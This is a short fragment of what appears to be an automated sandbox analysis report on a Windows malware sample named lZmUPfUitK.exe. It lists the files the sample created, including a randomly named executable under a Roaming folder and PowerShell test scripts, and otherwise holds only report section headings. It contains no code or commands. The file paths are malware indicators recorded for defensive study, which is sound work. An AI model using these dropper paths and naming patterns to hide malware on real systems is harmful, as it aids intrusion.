C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hgypetoe.aag.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_noinjdo0.1qu.ps1

C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe

C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe:Zone.Identifier

C:\Users\user\Documents\20220626\PowerShell_transcript.065367.TfDkDmkT.20220626093639.txt

Static File Info

General

File Icon

Network Behavior

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: lZmUPfUitK.exePID: 5532, Parent PID: 6672

General

Chronological Activities

Windows Analysis Report
lZmUPfUitK.exe